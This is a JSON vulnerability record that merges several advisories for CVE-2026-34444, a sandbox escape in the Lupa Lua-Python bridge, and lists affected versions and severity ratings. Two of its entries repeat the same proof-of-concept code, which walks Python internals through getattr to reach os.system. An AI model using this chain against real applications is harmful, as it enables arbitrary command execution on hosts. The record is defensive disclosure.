{"id":"CVE-2026-34444","aliases":["DEBIAN-CVE-2026-34444","GHSA-69v7-xpr6-6gjm","PYSEC-2026-2613","UBUNTU-CVE-2026-34444","openSUSE-SU-2026:10507-1"],"summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","published_at":"2026-04-06T15:30:30.525Z","modified_at":"2026-10-27T09:47:31.613361Z","products":[],"rating":{"severity":"critical","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"SUSE","rating":"critical"},{"source":"SUSE","rating":"moderate"},{"source":"Ubuntu","rating":"medium"},{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.006370000075548887,"percentile":0.5133100152015686,"date":"2026-11-19T00:00:00Z"},"priority":12,"details":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"scoder/lupa","versions":["<= 2.6"],"provider":"cvelistv5","source":"CVE-2026-34444","relation":"self"},{"ecosystem":"Debian:12","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1","2.2+dfsg-1","2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"},{"ecosystem":"Debian:13","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"},{"ecosystem":"Debian:14","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"},{"ecosystem":"NVD","package":"scoder:lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"provider":"nvd","source":"CVE-2026-34444","relation":"self"},{"ecosystem":"PyPI","package":"lupa","purl":"pkg:pypi/lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"],"provider":"osv","source":"GHSA-69v7-xpr6-6gjm","relation":"self"},{"ecosystem":"PyPI","package":"lupa","purl":"pkg:pypi/lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"],"provider":"osv","source":"PYSEC-2026-2613","relation":"self"},{"ecosystem":"Ubuntu:18.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=bionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5+dfsg-1","1.6+dfsg-1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:20.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=focal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6+dfsg-4","1.6+dfsg-4build1","1.9+dfsg-1","1.9+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:22.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9+dfsg-1build3","1.10+dfsg-1","1.10+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:24.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1build1","1.14.1+dfsg-1build2","1.14.1+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1","2.4+dfsg-1build2","2.4+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"openSUSE:Tumbleweed","package":"python-lupa","purl":"pkg:rpm/opensuse/python-lupa&distro=openSUSE%20Tumbleweed","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7-1.1"}]}],"fixed":["2.7-1.1"],"provider":"osv","source":"openSUSE-SU-2026:10507-1","relation":"self"}],"product_status":[{"vendor":"SUSE","product":"openSUSE Tumbleweed","cpe":"cpe:/o:opensuse:tumbleweed","status":"fixed","packages":["python311-lupa","python313-lupa","python314-lupa"],"package_count":3,"fixed":["python311-lupa-2.7-1.1","python313-lupa-2.7-1.1","python314-lupa-2.7-1.1"],"advisories":[],"provider":"csaf-suse","source":"CVE-2026-34444"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":18,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-34444"},{"vendor":"Red Hat","product":"Red Hat Satellite 6.18","cpe":"cpe:/a:redhat:satellite:6.18::el9","status":"fixed","packages":["satellite/foreman-mcp-server-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:22993"],"provider":"redhat-vex","source":"CVE-2026-34444"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-34444","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-34444","license":"CC-BY-4.0","published_at":"2026-04-06T15:30:30.525Z","modified_at":"2026-07-15T01:04:26.105Z","summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","details":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","source":"CVE-2026-34444"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"redhat-SADP:CVE-2026-34444"}],"affected":[{"ecosystem":"CVE","package":"scoder/lupa","versions":["<= 2.6"],"provider":"cvelistv5","source":"CVE-2026-34444","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"}]},{"provider":"csaf-suse","source_id":"CVE-2026-34444","relation":"self","url":"https://www.suse.com/security/cve/CVE-2026-34444/","license":"TLP:CLEAR, mirroring permitted","published_at":"2026-04-07T23:25:33Z","modified_at":"2026-05-05T01:45:44Z","summary":"SUSE CVE CVE-2026-34444","details":"SUSE CVE-2026-34444\n\nLupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"CVE-2026-34444"},{"type":"SUSE","score":"critical","source":"CVE-2026-34444"}],"affected":[],"product_status":[{"vendor":"SUSE","product":"openSUSE Tumbleweed","cpe":"cpe:/o:opensuse:tumbleweed","status":"fixed","packages":["python311-lupa","python313-lupa","python314-lupa"],"package_count":3,"fixed":["python311-lupa-2.7-1.1","python313-lupa-2.7-1.1","python314-lupa-2.7-1.1"],"advisories":[],"provider":"csaf-suse","source":"CVE-2026-34444"}],"references":[{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444"},{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://bugzilla.suse.com/1261595"}]},{"provider":"csaf-suse","source_id":"openSUSE-SU-2026:10507-1","relation":"self","url":"https://www.suse.com/security/cve/CVE-2026-34444/","license":"TLP:CLEAR, mirroring permitted","published_at":"2026-04-08T00:00:00Z","modified_at":"2026-04-08T00:00:00Z","summary":"python311-lupa-2.7-1.1 on GA media","details":"python311-lupa-2.7-1.1 on GA media\n\nThese are all security issues fixed in the python311-lupa-2.7-1.1 package on the GA media of openSUSE Tumbleweed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"openSUSE-SU-2026:10507-1"},{"type":"SUSE","score":"moderate","source":"openSUSE-SU-2026:10507-1"}],"affected":[],"product_status":[],"references":[{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://ftp.suse.com/pub/projects/security/csaf/2026/opensuse-su-2026_10507-1.json"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444/"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444"},{"type":"WEB","url":"https://bugzilla.suse.com/1261595"}]},{"provider":"nvd","source_id":"CVE-2026-34444","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444","severity":[],"affected":[{"ecosystem":"NVD","package":"scoder:lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"provider":"nvd","source":"CVE-2026-34444","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DEBIAN-CVE-2026-34444","relation":"self","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-34444","published_at":"2026-04-06T16:16:35.717Z","modified_at":"2026-10-27T09:47:31.613361Z","details":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"DEBIAN-CVE-2026-34444"}],"affected":[{"ecosystem":"Debian:12","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1","2.2+dfsg-1","2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"},{"ecosystem":"Debian:13","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"},{"ecosystem":"Debian:14","package":"python-lupa","purl":"pkg:deb/debian/python-lupa?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"],"provider":"osv","source":"DEBIAN-CVE-2026-34444","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-34444"}]},{"provider":"osv","source_id":"GHSA-69v7-xpr6-6gjm","relation":"self","url":"https://osv.dev/vulnerability/GHSA-69v7-xpr6-6gjm","license":"CC-BY-4.0","published_at":"2026-04-07T15:48:13Z","modified_at":"2026-09-10T03:50:43.384103Z","summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","details":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GHSA-69v7-xpr6-6gjm"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","source":"GHSA-69v7-xpr6-6gjm"}],"affected":[{"ecosystem":"PyPI","package":"lupa","purl":"pkg:pypi/lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"],"provider":"osv","source":"GHSA-69v7-xpr6-6gjm","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"type":"PACKAGE","url":"https://github.com/scoder/lupa"}]},{"provider":"osv","source_id":"PYSEC-2026-2613","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-2613","license":"CC-BY-4.0","published_at":"2026-07-13T14:36:49.110266Z","modified_at":"2026-07-13T16:32:12.344758Z","summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","details":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"PYSEC-2026-2613"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","source":"PYSEC-2026-2613"}],"affected":[{"ecosystem":"PyPI","package":"lupa","purl":"pkg:pypi/lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"],"provider":"osv","source":"PYSEC-2026-2613","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"type":"PACKAGE","url":"https://github.com/scoder/lupa"},{"type":"PACKAGE","url":"https://pypi.org/project/lupa"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-69v7-xpr6-6gjm"}]},{"provider":"osv","source_id":"UBUNTU-CVE-2026-34444","relation":"self","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-34444","license":"CC-BY-SA-4.0","published_at":"2026-04-06T16:16:00Z","modified_at":"2026-10-17T13:00:01.503005Z","details":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","source":"UBUNTU-CVE-2026-34444"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"UBUNTU-CVE-2026-34444"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"UBUNTU-CVE-2026-34444"},{"type":"Ubuntu","score":"medium","source":"UBUNTU-CVE-2026-34444"}],"affected":[{"ecosystem":"Ubuntu:18.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=bionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5+dfsg-1","1.6+dfsg-1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:20.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=focal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6+dfsg-4","1.6+dfsg-4build1","1.9+dfsg-1","1.9+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:22.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9+dfsg-1build3","1.10+dfsg-1","1.10+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:24.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1build1","1.14.1+dfsg-1build2","1.14.1+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1","2.4+dfsg-1build2","2.4+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"python-lupa","purl":"pkg:deb/ubuntu/python-lupa?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build3"],"provider":"osv","source":"UBUNTU-CVE-2026-34444","relation":"self"}],"product_status":[],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-34444"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-34444"},{"type":"REPORT","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"}]},{"provider":"osv","source_id":"openSUSE-SU-2026:10507-1","relation":"self","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:10507-1","published_at":"2026-04-08T00:00:00Z","modified_at":"2026-04-09T08:01:06.382966Z","summary":"python311-lupa-2.7-1.1 on GA media","details":"These are all security issues fixed in the python311-lupa-2.7-1.1 package on the GA media of openSUSE Tumbleweed.","severity":[],"affected":[{"ecosystem":"openSUSE:Tumbleweed","package":"python-lupa","purl":"pkg:rpm/opensuse/python-lupa&distro=openSUSE%20Tumbleweed","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7-1.1"}]}],"fixed":["2.7-1.1"],"provider":"osv","source":"openSUSE-SU-2026:10507-1","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":""},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444"}]},{"provider":"redhat-vex","source_id":"CVE-2026-34444","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-34444","license":"CC-BY-4.0","published_at":"2026-04-06T15:30:30.525Z","modified_at":"2026-05-01T20:00:39Z","summary":"lupa: Lupa: Arbitrary Code Execution due to inconsistent attribute filtering","details":"A flaw was found in Lupa, a tool that integrates Lua or LuaJIT2 runtimes into CPython. An attacker can exploit this vulnerability by bypassing attribute filtering mechanisms when accessing attributes through built-in functions like `getattr` and `setattr`. This inconsistency in applying security restrictions can allow an attacker to execute arbitrary code, potentially compromising the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-34444"},{"type":"Red Hat","score":"Important","source":"CVE-2026-34444"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":18,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-34444"},{"vendor":"Red Hat","product":"Red Hat Satellite 